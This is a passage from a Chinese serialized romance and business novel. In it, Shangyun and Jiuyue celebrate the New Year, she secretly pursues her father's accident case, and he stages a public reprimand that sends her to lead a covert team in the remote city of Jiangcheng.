原本冷肃老成的尚先生现在脸上常常挂着笑,一会没见着九月便四处顾盼,看九月的眼神也满溢着宠溺。 而九月也不如原来那般心事重重,静默。现在活泼了不少,说话也比平常多起来,变得爱笑。 洋洋随主人入住新的环境也欢快很多,在楼上楼下四处溜达,又去庭院里晒太阳。 有时还坐在九月的专座“秋千”上,分享她这份独一无二的宠爱。 岑姨是北方人,除夕那晚,除了很多南方菜肴,还准备了面点饺子。 尚云和九月也帮着岑姨包饺子。 九月倒是有一些厨艺天赋,不一会就能上手。 尚云最认真,系着个围裙,学了半天还显得很笨拙,要不皮破馅落,要不就是饺子皮没捏紧,刚摆入盘中就松开了。 九月见身形高大的尚云被一只小小的饺子气得牙痒,乐不可支的说:“原来这世界上,还有你不擅长的事情。” 岑姨也忍俊不禁,笑着说,“尚先生是做大事的人,不会包饺子很正常。你们去休息,剩下的我来,做好了叫你们吃饭。” 尚云便洗净手,将九月拉至三楼。 三楼除了健身房,在一侧还有一间神秘的玻璃花房,除了岑姨常来浇水,没向任何人开放过。 尚云打开这间房子,不知摁了哪里,满室的彩灯亮了,最大的那面玻璃彩灯最密集,竟然是一箭穿心的设计,九月愣住了。 “这里不能放烟花,我给你准备了这些。”尚云说。 九月很感动:“都是你亲自弄的?” “当然。” 这间房子可说是全钢质玻璃的阳光房,中间有两张躺椅,透过玻璃房顶可看到夜空里一枚皑皑皓月,如轻烟流纱,垂泻在广袤大地。 花房玻璃清亮透明,亮如白昼。有很多漂亮的盆景。疏落有致的排在花房。 他又在园艺林里选来不少花卉,才让花房不显得空荡。 在花房四周的三层架上,种了许多月兰花。 九月想起南月楼的隆经理介绍说,月兰,它的特点就是每一朵花只有两片花瓣,生来相拥相偎。长成花苞时是这样,盛开了还是这样,一生都不曾改变。 它的花语是钟爱一生,生相偎,死相随。 满室的月兰,暗香浮动。 九月痴痴站在花房,蹲在月光里闻花。闭上眼睛,深深吸一口气,枝叶随着玻璃窗吹进来的风,轻轻摇曳,空气里都是香甜味。 她起身,巧笑倩兮,“我好喜欢。” 他站在她身后,一瞬不瞬注视着她,低声道:“喜欢就好。” 灯光照在她线条优美的脸颊,神情详和宁静。长长羽睫在脸上投下阴影,俏皮的鼻子下,小巧嘴唇倔强的微抿着。尖瘦的下巴让人忍不住去啄吻,泼墨般的长发散在枕边,越发衬出她矜娇赢弱的美丽。 尚云低下头,攫住她的唇。 他曾经吻过她,发乎情,止于礼。那种吻,单纯而浅尝辄止。而此时的吻,带有前所未有的侵略性,她能感觉到他的深情。狂野得仿佛压抑了千年的爱恋,榨取着她的回应,回应着她的娇怯。 良久,他紧紧拥着她,声音暗哑,“九月,我爱你。” 她脸抵在他怀里,含糊不清地回道,“尚云,我也爱你。” 幸福的时光总是过得飞快。 春节期间,两人一齐去看了九月的父母和奶奶,给朱教授一家拜了年,又去九月老师宇崇帆拜了年。 宇崇帆给了九月一个档案袋,让她回家再看。 九月心里一沉,便收进包里。 第一百二十九章 退缩 后来的几天,尚云便忙碌起来,商业上的一些往来,跟金家的人情往来。 九月这天正巧准备回公寓,但尚云希望上班前夕再送她回去,两人像普天之下的所有恋人一样,难分难舍,以至于拖到下午还留在滨香苑。 这时尚云接到金志高电话,说要来拜年。 他便跟岑姨交代了一下,随口问道,“九月呢?” “刚才看到她回房里了。” 尚云咚咚跑上楼,推开门,九月正捧着几张资料在看着什么,见到他进来,神情有些紧张,将那几张资料胡乱塞进档案袋里,她强自镇定地笑了一下,“尚云,找我?” 尚云狐疑道,“你在看什么?” “没什么,没什么。老师给我的几个作品写了些评论。”九月语无论次地说,“你知道的,我没有放弃绘画。” 他没有说话,冷静而深邃的目光在她脸上扫视一圈,落在档案袋上。九月下意识缓缓将档案袋护在身后。 他最终什么也没问,沉声说道:“一会有客人过来拜年,你也一起下去聊聊天。” 在此之前,九月对子玥的存在耿耿于怀,虽然她不说,但他想借此机会,向众人介绍九月,算是明里暗里表明立场,也想给她一个交代。 九月点点头。 尚云出去了。 随着门铃响起,金家兄妹和一班朋友便浩浩荡荡地驱车前来,给尚云回礼拜年。 九月下来时正巧看到那几辆名贵轿车已经陆续开进车库了。 众人进来,将把手上精致的礼物包装盒交给岑姨,她便去准备茶水。就听身后尚云与一行人说话的热闹声音。 “尚云,老早就想来你这豪华别墅里坐坐了,一直推脱忙,如今事业是越做越大,我家老爷子总说让我跟你和志高多走动走动,向你们取取经。你没时间啊。”单于朗声道。 “害,我还在尚云手中学艺呢,高看我了。”志高挥挥手。 尚云便挑另一个角度回话:“别消遣我了,单是你名下私人住宅都可以顶两座别墅了,我这蓬门荜户的也值得你单大老板挂念?” 众人又是一阵说笑,尚云对他们的玩笑,应付自如。 目光却在寻找熟悉的人影,看到她终于从茶水间门口走出来,冲她微微一笑。 走过去接过她手里的茶水盘子,稳而慢。 “各位好,请用茶!”九月跟尚云一起,把果茶一杯杯摆在众人面前。 众人听到这柔婉的声音,都忍不住转头打量。 看到活脱脱一年轻美女站在面前,都是一怔。 尚云像是女人绝缘体,除了金子玥,还从没见他接触过工作以外的女性。不可能一声不响便有了女朋友。 要说是仆人,她却气质清雅,俏丽脱俗。 一时间,众人都停住说话心里揣测。 “九月,新年好!”最先反应过来的是志高,于是移开视线看向尚云,仿佛在问,跟九月一起过的年? 尚云坐了下来,眉头微微一挑,表情带着淡淡笑容,并不解释。 “尚云,这是嫂子?”然后是单于转头,看看志高,又看看尚云。 其余两人都是志高的朋友,平时跟尚云也有些来往,虽然不是很亲密,但以前在金仕集团时,经常有生意上的合作往来,又是同龄人,大家凑一起很投缘。 他们并不认识九月。 子玥就坐在尚云身边,此时看到九月,快言快语道:“什么嫂子,她是尚云哥的妹妹,九月。”站起来拉九月坐下,“九月,来。别忙了,这边坐,上次还没好好感谢你,一会去逛街。” “好啊。”九月笑道。 尚云星眸闪闪的看了九月一眼,介绍说:“九月......。” 就听九月抢先说,“我今天来给尚总拜年,来得比较早。” “九月姐,这都过年家庭聚会了还叫工作职称呐?”子玥笑道,“是不是尚云哥要求的?别看他老是板着脸,其实没那么不近人情。” “不是,我习惯了。”九月牵牵嘴角。 有人说道:“尚云,可从没听你说家里还有个妹妹啊。” 尚云脸上的笑容慢慢隐匿,看了看九月,九月却刻意不接他的目光。 九月对众人一笑:“尚总陪你们聊会,我去酒窖取几瓶酒出来。” 说完转身退出客厅。 “尚云,你可太不厚道了,这么一如花似玉的妹妹,竟然从不带出来介绍下。” “唉呀,收起你那歪心思,尚云哥的妹妹你也敢动,我第一个不答应。”子玥知道他换女朋友像走马灯似的,不客气的绝了他的花心芽。 “开个玩笑至于嘛,你这么凶看以后谁敢要你。” “要你管。” 大家哄然打笑之间。尚云起身,脸是挂着淡笑,顾左右而言他:“人手欠缺,也太仓促。所以今晚的晚餐会稍微晚一些,我过去看看。” “都是自家兄弟,最主要是大家聚在一起欢乐,讲究那么多做什么。”志高一直旁观,似乎看穿了一切,呵呵笑着看他背影走远。 再说九月走到地下酒窖,酒窖里的藏酒并不算多,却也品种丰富。 九月把藏酒从酒架上取下来,小心摆在地上。 身后突然传来尚云不悦的声音:“九月,你今天怎么了?” “之前说好先不要公开关系。” “我知道你一直很介意我跟子玥的关系......” “那也不行。”九月转身把选好的酒放在小推车上,动作有些慌乱,手上一滑,一瓶酒啪的一声,掉在地上粉碎。酒窖里顿时弥漫着浓郁的酒香。 两人同时一怔,却也没心思管洒了一地的酒。 他眉头微蹙:“你有事瞒着我?” 九月立即否认:“没有。” 空气静默了,他深深看她一眼,提起酒走了出去。 约两小时过后,天幕擦黑,大家吃喝差不多了。 不知是谁提议,来玩玩游戏。这个圈子最喜欢玩的一个游戏便是真心话大冒险,这次聚齐了,仍把这游戏当作压轴好戏。 尚云向来都头痛他们这个游戏,但其他人却乐此不疲。 “哥,这个游戏玩了这么多次,每次都玩多没意思啊。”金子玥醉眼微熏,抱怨道。 “这有什么关系?关键是不管玩了多少次,我们还是喜欢这个游戏。”金志高虽然也喝了不少,半迷糊半清醒。 尚云揉着晕乎乎的头,苦笑道:“志高,玩这游戏可以,但是别再揪着我那问题不放,没意思。” “这次互爆糗料可以吗?”单于失笑道。 “爆糗料?好啊好啊,这个好。”子玥高举着手赞成,半眯着眼睛笑弯了,坐在自己椅子里,半个身体却靠在尚云身上。尚云则靠在后面,闭目养神。 子玥答应了,其他人也都表示没意见。 第一百三十章 最后通话 这次由猜拳换成骰子,第一个人抛出一个数,然后摇出来的数比这个数大,就通过。如果比这个数小,就得按规定说出一件糗事,别人的自己的都可以。 子玥自告奋勇第一个先来,抛了一个三,摇出来的骰子是四,通过。她旁边是尚云,摇出来是五,也通过。 尚云旁边是单于,摇出来一个一。 单于自叹倒霉,说道:“愿赌服输,那我就不客气了啊。上周末跟志高去夜店把妹,两个漂亮美眉一直看着我们,我还以为走桃花运了呢。 拉着志高就走过去,没想到还没开口,人家白我们一眼,丢来一句:‘见过着急的没见过这么着急的,先把你拉链拉好啦。’我低头一看,志高‘前门’大大方方的洞开着啊。” 众人哄堂大笑。只有九月低着头,显然没在听他们在说话。 “注意文明啊,这还有俩女孩子。”金志高自己也笑得抽过去了,接过骰子,摇了个二。他憋了半天,对尚云说:“兄弟,对不住啦,谁让单于毁我形象,我只好出卖你挽回颜面了。” “什么呀,难道尚云哥也没拉好拉链?”子玥跟他们混迹惯了,早就不像一般女孩子那样怕羞,自己说完先哧哧笑出来。 “别卖关子,快说。”单于带头起哄,另两人的也都催促起来。 “我跟尚云在大学的时候,有一段时间我为了逃避那紧追不舍的学妹,就跑去他那里挤了几晚。恰巧那几天晚上都是狂风大作,雷雨交加。你们一定想不到,尚云这么一大老爷们,竟然怕打雷。不管睡没睡着,只要晚上一打雷,他就翻来覆去,整夜整夜睡不着觉。” 众人皆是轰然大笑。 九月身体一震,抬眸朝尚云望去,他歪在椅子里,只是苦涩一笑,并不出言分辩。 “不会吧,尚云哥,这是真的吗?”子玥笑得歪在尚云身上。 “兄弟,平时一条冷硬汉子,看不出来你竟这么脆弱,下次打雷时打电话给兄弟,护你周全。”尚云这一糗料可以取笑几年了。 怕打雷的不是他,而是他牵肠挂肚的那个人。这里面的原因,只怕就九月一人最清楚了。 九月只觉眼睛酸涩,悄悄退出场子。 随着门关上,身后的笑声、对话声渐渐消失了。 等她整理好情绪再出去时,客厅里已经灯火冷寂,热闹的人早已散去。个个都喝得醉熏熏的,没法开车。估计是岑姨帮忙叫了代驾送回去的。 尚云独自一人坐在沙发里,一言不发,一屋子的狼藉,越发衬得他孑然寂寥。 九月走过去,动手收拾房间。这样的沉默,让她如履薄冰,总有破冰的时候,但越是等待,就越是害怕。 半个小时后,收拾完整。她端着一杯醒酒茶给他,他深深看着她,并不接那杯茶。 “你说过的话不作数了吗?”他的声音带些酒后的沙哑,眼底幽寂如深潭,却盛满了哀伤。 九月僵在原地。 他醉眼微熏,目光充斥着苦涩。他站起来,摇摇晃晃走过她身边时,说道:“尚总之前对你有所冒犯,对不起!” “尚云。”九月被他眼神里的剧痛震住了,心里绷紧的弦“叭”地一声断裂了,痛彻心扉。 他上楼梯时虚抬了一脚,幸好扶住楼梯:“岑姨!” 岑姨从厨房小跑出来,“尚先生,我在这。” “送她,回去。”说完,尚云就上楼回了房间。 岑姨看着俩人气氛不对,也不敢多嘴,“九月......” 九月嘱咐说,“不用送,尚总醉了,你看着点儿。我自己已经打车了。” 在岑姨的坚持下,她收拾好并不多的行李,带着洋洋,上了岑姨专用代步车。 到家之后,也没收到他的信息,九月隐隐失落。 拿出包里的档案袋,九月将资料抽出来,那上面有父亲出车祸事件调查报告,还原了事情始末。 除了箫章的策划,还有一个叫马鬼的人,亲力亲为执行了这件事,而马鬼与箫小竺关系密切。马鬼只是一个代号,除了这个名字和小竺这条线索,根本无从查起。 上面有小竺和马鬼见面时的一张照片,照片距离较远,小竺是正面,但马鬼镜头的角度只能看出侧面大概轮廓。 她咬咬牙,一定要将这个马鬼审之于法。 向尚云隐瞒了此事,他身负一家普世的命运与众多员工的未来,不能牵涉其中。 从长计议,她必须尽全力助尚云达成目标,等普世文化真正稳立于世,她就可以退出来,跟普世撇清关系,为父母讨回公道。 应该快了吧。 九月打开尚云的头像,他一席剪裁得体的职业西服,白色衫衬很有质感,发型打理得很精致,神彩奕奕的五官立体而恰到好处,英挺的鼻梁,坚毅的轮廓,虽然没有笑,面色却柔和而让人深深着迷。 她抚摸他的头像,泪水“啪嗒”一声滴落在手机屏幕上。 电话那一头的尚云,也同样点开她的头像,沉静如水的黑眸一瞬不瞬看着她明眸皓齿,近在眼前却又似乎很遥远。 这时一个电话打进来,他一看“阿闲”两个字,立马坐直身子。 “阿闲!” “尚总,让你担心了。你发的信息我刚刚收到。” “你在哪?” “宝宁市,来执行任务。我时间不多,长话短说一些事情,你不用回话,听着就好。”阿闲语速很快,“第一,箫小竺明面上是雷默的当家,实际上还接手经营她父亲不为人知的业务,不是一天两天了。我只知道有个地鬼和马鬼,地鬼还不清楚,马鬼就在克普公司任高管。九月曾经遭人绑架,慕家车祸都是马鬼亲手指使。 第二,地鬼主营的业务,九月曾经跟他们交过手,或者说被他们扣押过长达半个月,遭受虐待。后来小竺出面做主放了她,但是后来她又涉进其他人的案子里,其中一个人叫阿琪。阿琪父亲有一些朋友,找了线索一起救了他们。地鬼的一个手下因为这起事件失去一根手指,所以对九月恨之入骨,是小竺的情面,才稍微劝止住报复行为。 第三,有个叫万建雄的人,他所持身份证是假的,可能实际上他不叫这个名字,背景很强大,他能搅动一盘大局,肯定不是一般人。曾经跟箫章一起合谋陷害你父亲,挑唆你父母的关系,导致你母亲对你父亲失望,他们不染血腥不费一兵一卒让你家破人亡,还通过很多令人不齿的手段轻而易举从你叔父手中拿走雷默集团。之前你让我们调查雷默集团股东资料,有几个是顶替的,背后另外有人。 第四,我现在已经在这盘棋局里,继续查万建雄的身份。如果以后我一直没联系你,你要做最坏的打算。你不用找我,也别搅进来。以上所述的资料我会另外托人,寄到你手上,保重。” 电话已经挂断。尚云却维持通话的姿势,房间里静得能听到他凝重的呼吸声。 很久,他放下电话,在黑暗中一直坐到天明。 第一百三十一章 九月升迁遇变 春节过后,万物复苏。 复苏的还有克普公司的业绩和士气。 尚云很快就察觉到不对劲,犹如一只冬眠的猎鹰,感觉到危机来临,但苍茫之中,却不知这种危机来自何处。 尚云先后下了几道任命书,木信晋升为总经理,蓝鲸总团的三个总队长,被任命为文化执行总监,作为未来分公司总裁培养,分别是甘总、厉总、乔总。 普世年前已经在筹备上市事宜,年后终于递交了申请。 扩张的团队与亟待消化的业务量以及各项研发,需要投入大量资金,正在筹备的分公司也需要投入大量资金。普世所有人都坚信不已,等公司上市后,资金就不再是难题。 只需静待走完上市前的流程。 随着手机铃响,尚云掏出手机,看到来电显示,他接通了。 尚云开门见山地说:“雷总,我想我已经说的很明白了。” 电话那端传来浑厚的男声:“尚总,先别挂电话。普世文化以扶持民营企业为己任,我不太明白,我们海量公司也是希望做大做强,为社会尽一份绵薄之力。您为何一直不愿与我合作呢?” 尚云道:“咱们打开天窗说亮话,你知道我创业前东家就是金仕集团吧?” “知道,金仕集团正因为有您这么一位实干家,才起死回生。这是业内美谈,谁人不知?”雷辰光又说道,“但你已经不在金仕了,这不影响我们合作。” “我跟金仕集团的金总有兄弟情谊。海量与金仕是竞争对手,于私,金志高是我兄弟,我帮你等于失了道义,于公,他也是我的客户,我怎能卖给他矛,又售给你盾,两边获利,里外不是人。虽说在商言商,但从商还得讲究个诚信与原则不是?否则我今后怎么立足?” 雷总仍然不肯松口:“尚总的人品我很佩服,但有句老话说的好,没有永远的朋友,只有永远的利益。服务费用我可以翻倍。” “看来雷总要装糊涂,我们也就没什么好说的了。” “尚总,一会我们面谈好不好,我下午正好有事要过去一趟,大概四点多会到你公司,给一次面谈的机会。” 尚云皱眉道:“到时再看吧。” 一年之季在于春,这是普世最看重的春季。尚云像往年一样,给全体高管定下全年目标和工作方向,指导各个团队第一季度需达成何种程度的工作任务。 在座者很乐观,慷慨激昂的承诺将不负使命。 尚云却隐隐不安,在散会后,他收起自己的笔记本,不慎将茶杯撞倒,咕噜噜滚下桌摔了个稀巴烂。 听到脆生生地声响,走在最后的木信回头看了一眼便顿住脚,尚云却一动不动望着茶杯。 木信说:“尚总,一会我安排人来处理。” 尚云头也不回,朝他摆摆手,自己则重新坐了下来。 他紧盯着会议室白板上的内容,那是年度目标和第一季度任务。 他在心里问自己。 一切太顺利了,顺利得就像东西摆在那儿,等着他们去拿。如果克普故意隐忍不发,就等着他带着团队跳进巨坑,然后全面包抄,他要如何做才能带团队脱困? 如果我是克普的掌舵者,此时眼见最大强敌就要拿到宝库钥匙,会用什么办法阻止并设法据为己有? 就算设想都是真的,然而第一步已经迈出去了,一列满含激情极速行驶的火车走错路线,就算马上刹车也会被惯性带出很远,已经来不及了。要如何在困境找到逃生的出口? 九月从外面进来,正好遇到他们散会。 甘总俨然已是高层中的王者,走路腰板直了,看见九月,他主动打招呼,春风满面的道:“九月,新年好。开年以来,这还是第一次见你,乔总经常提及你在工作中的高明见解,有空来我办公室喝茶,我以后要向你多多请教才是。” “新年好甘总。”九月微微一笑,让人看不出真实情绪来:“还没恭喜甘总升迁大喜,现在您的担子更重了,估计甘总面临更多业务铺排和指挥前线的工作,只怕会忙得脚不沾地。用得到我的地方尽管开口,茶就不喝了,您的宝贵时间有更大用处。” 甘总果然朗声笑了,“你还别说,真是有一大摊子工作要推进。那行,九月如此识大体,反而显得我不懂事了。先忙,下次再叙。” 九月抿唇一笑,摆摆手便走了。 经过会议室时,正巧遇见尚云走出来,她下意识转头,看见他身后有人在清扫地上的杯子残渣。 她微微蹙眉,叫道:“尚总好。” 尚云面色不佳,看她一眼,点点头,什么也没说走了。 九月回到办公室,在门口就见东维恺和关之洁在聊天,没听清两人在聊什么,但两人脸上明显有说不清道不明的暧昧笑容。 看见她来了,两人忙肃清,东维恺把手上的资料交给关之洁,交待一些细节。九月看了一眼,那不过是一份会议记录,各部门签过字要留档而已,哪用得着这样。 想到这里,手中电话就响了,一看来电显示“尚云”,便快速接了。 电话里只有一句话,“你过来一下。” 九月将手中的文件放在座位上,转身去了总经理室。 “尚总,你找我?” 尚云在落地窗前负手而立,听见脚步声,他手往沙发处指了指。 “坐。” 他自己也坐定后,低头思索道:“原来说好给你调岗,但因为情况有变,年前的计划得重新梳理。” “尚总放心,我对这方面没有要求,不会因为这些影响我的工作态度。”九月阐明态度,语气坚定。 尚云看她一眼,点点头,“我要说的不仅这些。几个月前你出差被几个年轻人报复还记得吗?” “记得。”九月不知道他想说什么。 “那几个年轻人在去年就已入职普世,一直在训练场由严教官带着。听严教官的意思,他们身心有很大的转变,如果公司需要,随时可以调走。” 九月还是没明白尚云跟自己说这些用意何在,便保持沉默。 “我想成立一支蓝鲸以外的特训团队,这支团队由你来带,这几个人培养好之后,就放在你手下,以后公司需要你主持大局,开展工作也有自己的得力助手。”尚云说道。 她愣了半晌,说道:“尚总,为什么偏偏放在我身边?你明知道我跟他们之间存在私人恩怨,团队人心不齐......很难成事,你这是要看我笑话?” “九月,你听我说。”尚云腹部传来一阵剧痛,他闭上眼睛,等那阵剧痛缓解。 第一百三十二章 九月掉进圈套 “你怎么了?”九月见他只一瞬间,额上即沁出汗珠子。倒了杯热水放在他手中,担心道:“春节喝酒不节制,现在身体又不舒服了。来,先喝点水。” 过了一会,那股劲缓过去,尚云慢慢睁开眼睛,视线清晰后,喝了几口热水。 “怎么样?” “我没事。”尚云皱了皱眉,因身体不适,连带声音中气不足,语气却很笃定:“这支团队只能是你去带,木信有更重的担子,再无人能出你左右。你带的这只团队要作为公司一张王牌,先从公司分离出去,任务很重也很紧急。” 九月不再说反对的话,担心尚云身体再出状况,但她眼里仍然泛着疑惑,甚至不认同这样的安排会是一个好安排。 “你的意思,是让我带着他们去开拓分公司业务?” “对,但对外宣称甘总那边才是正牌团队,他们是明面上大张旗鼓去建立分公司的。你的团队不容易惹人注目,注意到也不会被看好,公司不会给你任何资源,甚至不能明面上给你支持。 但是,正因为这样掩人耳目,你才有更多机会抢夺先机,对手对你不会有太多防范。分公司能否顺利存活,关键不在甘总,而在于你的团队。我的意思你能理解吗?” “公司出什么事了吗?克普有什么新动作了?”九月脑袋思维转得很快,尚云如此步步为营,难道是发现了什么异常? “目前还没有出现任何动作,安静得让人心里发毛。正因如此,我们要提前防备。敌我实力太过悬殊,也许他们一出手,我们就深陷泥潭了。九月,我跟你说的这些,你不能告诉任何人。”尚云郑重地叮嘱她。 她点点头,低着头忧心忡忡。 尚云语重心长的劝道:“我知道,你心里排斥那几个年轻人。人是会转变的,而且他们是自己想转变才找到我,几个月的时间已经脱胎换骨。 用人是一门学问,外界是我们自己内心的反射。你会用肖宏,会用文菌,说明你的价值观和你的用人眼光是正确的。 但我还是那句话,不能一昧只做自己顺手的事,要不断挑战困难,将那些看起来不怎么样的人,用得趁手,将他们的长处变成你手中的利刃,才算将人用到极致。 世界上哪有天生的好人,又哪有天生的坏人。都是经历和环境造成的。 人的神奇之处,在于人的可塑性非常强,只要此人不是坏到彻底无救,都能通过心理暗示和磨炼慢慢拉回正轨的。 毁掉一个人才很容易,不断打击他,做得再好都得不到欣赏,很少有人能逃出这种心志摧残。要成就一个人才也很容易,不断鼓励,信任他,在他真正做的好的地方搭上舞台,他不可能不成材。 我说的心理暗示是我们在表达观点时,专挑他们做得很好的地方去夸赞,他心里就有底,知道哪些方式方法是公司支持的,他们有了成就感,对事情感兴趣,有了热情,在这块下足功夫,变成长处。 文菌就是这么培养起来的,公司很多优秀的人才也都是如此。在确保用人选人正确的情况下,好的文化,会滋长人性中良善的一面,我们是做这一行的,更应该明白其中道理,并用于实践。否则,我们将文化普世,自身却没有真正做到,到头来就只是走了形式,这才是莫大笑话。” 九月眼里噙着笑,“我明白了,放心,我会尽我所能带好这支团队。” “嗯!接下来如果发生什么事,你要沉住气。我不会再出面跟你交谈。”尚云意有所指。 九月定定看他半晌,似懂非懂,但心里朦朦胧胧有了底。“好。” 尚云会心一笑,伸出手来,九月伸手过去握住他的手。 两人目光相接,既是信任托付,也是并肩作战,彼此克制住那份情感,一切尽在不言中。 他松开手,说道:“去吧。” 九月摸到门把,想到什么又回头走过来,“东维恺不能重用。总经办是整个公司的核心部门,你和木信的任何决策小心为上,别透露给他。” “为什么?”尚云惊诧地道。 “直觉。” 九月离开后,尚云走至办公桌,拉开抽屉取拿出药箱。 在医生嘱咐的药量基础上,自己增加了药剂量。 服了药,尚云打了电话叫来蓝鲸团队三位总监。 尚云缓缓道:“叫大家过来其实也没什么事。大家都知道我是从金仕集团出来的,金仕集团也屡次在我们公司遭遇危机时伸出援手。当然,这些情谊出于我与他们金总的私交,我不要求大家感恩于他们。但是,最近金仕集团遇到点麻烦,有一个强大的对手叫海量公司。 恰巧,这家海量公司在文化咨询方面有需求,想调整文化和战略,将公司发展更加长远,已经联系我很多次了。我不会接,也不希望公司任何人接这项业务,哪怕价格再诱人。否则,就是跟我过不去。” “明白,尚总。” “你提前告诉我们了,那肯定不会这么做。” 尚云淡淡道:“那行,都去忙吧。” 三人走后,他看了看腕表,估计时间差不多了,尚云又打了前台电话,“今天我身体不舒服,你叫行政部帮我带盒胃痛药进来。一会有人找我就说我不在,让九月帮我挡一下。” 小袁连声答应。 火速给行政打电话,让去买胃痛药送去尚总办公室。 行政照办。 果然,一会儿就有一个海量公司的雷总出现在前台。说是跟尚总有约好见面。 小袁将客户带到会客厅后,打电话给九月,“九月,这边有人找尚总,好像跟尚总约好见面的。”她想起尚云让她买药的事,便加了一句:“但尚总胃痛,让你帮忙接待一下。” 九月回想下午谈话时,尚云就有身体不舒服的症状,心里有些担心他,但客户还在前台等她,也没多想,便说道,“小袁,你给客人倒杯茶,我一会就来。” 一会,九月便从容出现在雷辰光面前,“您好!久等了。” “你好。尚总今天不在吗?” “哦,公司有突发情况,他走不开。没关系,你有什么需求,跟我讲也是一样,我是公司的文化管理顾问慕九月。” 雷辰光将自己的名片递给九月,“慕小姐,你好。我是海量公司创始人雷辰光,之前联系过尚总。这是我的名片。” 九月接过名片。 又听雷辰光说道:“久闻普世公司的威名,我公司成立时间不长,但想要基业长青还需要从现在开始就关注文化。我听过尚总的免费课程,全是干货,很佩服。说实话,我很想跟贵公司合作。不知有没有这样的荣幸?” 第一百三十三章 九月被贬姜城 九月仔细看了看名片,这家公司确实籍籍无名。但作为甲方,对方如此诚恳与谦卑,倒是让她高看一眼。“雷总有这样的格局,未来公司一定会发展得越来越好,我们当然愿意跟您合作。不过,我们公司也有业务流程,必须按我们的流程走。” “我了解,知道贵公司有自己的经营理念,会对我司作一系列背景调查。这些都没问题,我们十分愿意配合。”雷辰光爽快的答应。 接下来,九月便介绍公司的一些流程和下一步将要进行的准备工作,雷辰光见她不像是敷衍的样子,大喜过望。便提出要请九月一起吃饭。 九月当然不答应,只说公事公办。 雷辰光也不强求,九月能给他机会这已经让他很意外了。 一个星期后,双方达成意向。 九月发了这个客户的所有进度给尚云,微信和邮件一直没收到回信。见尚云每天跟木信忙到火烧屁股,也不好催。 终于看到尚云在办公室,她便去办公室跟他当面汇报此事。 谁知人还没进去,尚云的咆啸声就传来,“叫慕九月进来!” 关之洁吓得面色苍白,出了办公室就碰见九月,语不成调,“九月,尚总找你。” 九月刚走到门口,就见尚云将桌上的文件推到地上,怒道:“你知不知道海量公司的雷辰光是我在公司三申五令不能接手的客户?他给你什么好处,连我的话都当成耳旁风了?” 好在推掉的文件离她还有很远一段距离。 就算如此,九月也是下意识靠墙躲过,吓得魂不附体。“我并不知道。” “全公司都知道,为什么就你不知道!你到底想做什么?就因为没给你调岗吗?口口声声说不计较,没要求,你明里暗里跟我唱反调!”尚云气得在房间来回走动。 “你明知道......我不会这么做。”九月哽咽道,眼泪夺眶而出。 “我不知道!” 此时董事办附近围了不少人,头一次见尚总发这么大的脾气。 木信也闻讯赶来:“尚总!” “木信,你来得正好,吩咐下去,给她办离职手续!” 木信看了看九月的样子,焦急说道:“尚总,这里面肯定有误会!九月不是这样的人。” “她不是这样的人,已经做了这样的事,造成了这样的后果!” 木信将外面的人遣散。 将门一关,好说歹说,终于抚平尚云怒焰。 虽然木信保住了九月,但公司还是将她调到边锤之地姜城去开疆拓土,只分给她五个没有任何工作经验的新人。 据人资部透露,那几个新人还是混社会出身。 蓝鲸团队也是暗中一片叹息。特别是乔总,直呼九月可惜了大好前程。 甘总和厉总跟九月也并没有仇怨,事到如今,还挺同情她。 全公司一片唏嘘,那几天所有人碰见尚云大气都不敢喘,心怕惹火上身。 海量公司的项目,最终还是交给九月带走了。 因为一旦签定合同,就得讲诚信,哪怕对方是自己不共戴天的仇敌,这是普世文化的服务原则。 只不过,在尚总的要求下,雷辰光与普世又签订了补充协议,要求雷辰光将国外作为公司发展的主战场,与金仕之间井水不犯河水,必须良性竞争,为确保服务达到最佳效果,海量必须服从于普世文化服务工作策略等。 九月带着团队被“发配”到边锤地区姜城,在去往姜城的路上,她已经慢慢领会到尚云那句话的意思。“接下来如果发生什么事,你要沉住气。我不会再出面跟你交谈。” 他是故意这么做的,为的是掩人耳目。心里气闷之感瞬间消逝无踪。 但又一想,若不是普世面临严重危机,他不会如此煞费苦心,普世将面临什么,她不清楚,但尚云这么严阵以待,绝对不可小覤。 他们开来的车子是公司配备的,在一处荒废的仓库里落下脚来。 当地人在普世租下这个废弃的仓库时,便已将房里修葺一新,并在仓库隔出几间房作为宿舍。 此时,九月站在简陋得不能再简陋的办公地点跟前,即使此前已有心理准备,也难免悲凉,再看看面前这几个人,心沉了又沉。 有个叫干周的人吹了一声口哨,“这种颓丧风我喜欢。” “不对,应该叫地狱风,你看外面的杂草,里面的破墙,晚上还能上演一部午夜凶铃是吧,方仔?”老欧也回应道。 叫方仔的人没回应,与旁边的书生对视一眼,挑眉笑了。 任聪看了看一旁眉头紧锁的九月,一掌拍在老欧后脑勺上:“咱们是来工作的,别扯这些没用的。” 老欧龇牙咧嘴,摸着后脑勺不再说话。 九月这时似乎调整好心态,转身跟几位男人说道:“咱们来开个简短会议。先来分配下工作,这两天工作内容就是捯饬我们公司的形象,另外,我们手上还有一个待完成的任务,大家要抓紧时间。” 听了九月这番话,这几个人没动,任聪回头“啧”了一声,把眼一瞪,大家才慢慢走过来。 九月嘴角泛笑,心里明白,自己不计他们前嫌,他们在心里未必不计较与自己的过节。何况,她一介女流之辈,在这帮英雄主义的男人眼里,跟本就没把她当回事。 果然,听到老欧嘴里咕囔一句,“凭什么你来领导我们呀,你一个待罪之身。” 任聪转头使眼色叫他住嘴,他反而放大了声音,挑衅地看着九月:“怕什么,要领导我们也应该是聪哥,你如果真有本事,为什么从尚总身边被调到这鸟不拉屎的偏远城市来。” “少说两句行不行,老欧!”任聪也提高音量。 九月不怒反笑,“没错,我待罪之身,你们是什么?在这里,咱们都一样,公司愿意给我们机会,就是让我们凭本事去扭转世俗的眼光,用业绩去堵悠悠众口! 你们加入公司的初衷是什么?你们凭什么去实现你们的目的? 没有我,你们拿什么去做业绩?没有我,你们能看出一家企业出现了哪些问题?靠打打杀杀吗?靠拿着棍棒架在客户脖子上吗?靠你们的江湖义气称兄道弟吗?” 众人哑口无言。 第一百三十四章 普世陷入困境 “如果还没有能力,你们先给我好好学,认真执行。先把你们的翅膀练硬实,让我刮目相看,让客户满意。 等到你们哪天不需要我的指导和安排,不需要公司一兵一卒的支援,凭借自己的真本事,真刀实枪拼来的业绩,能在总部蓝鲸团队面前直起腰杆。那时就不用我这待罪之人的带领,再来跟我说要换领导。要独立出去。我会替你们鼓掌,自己卸任。” 任聪点了点头,表示认同。 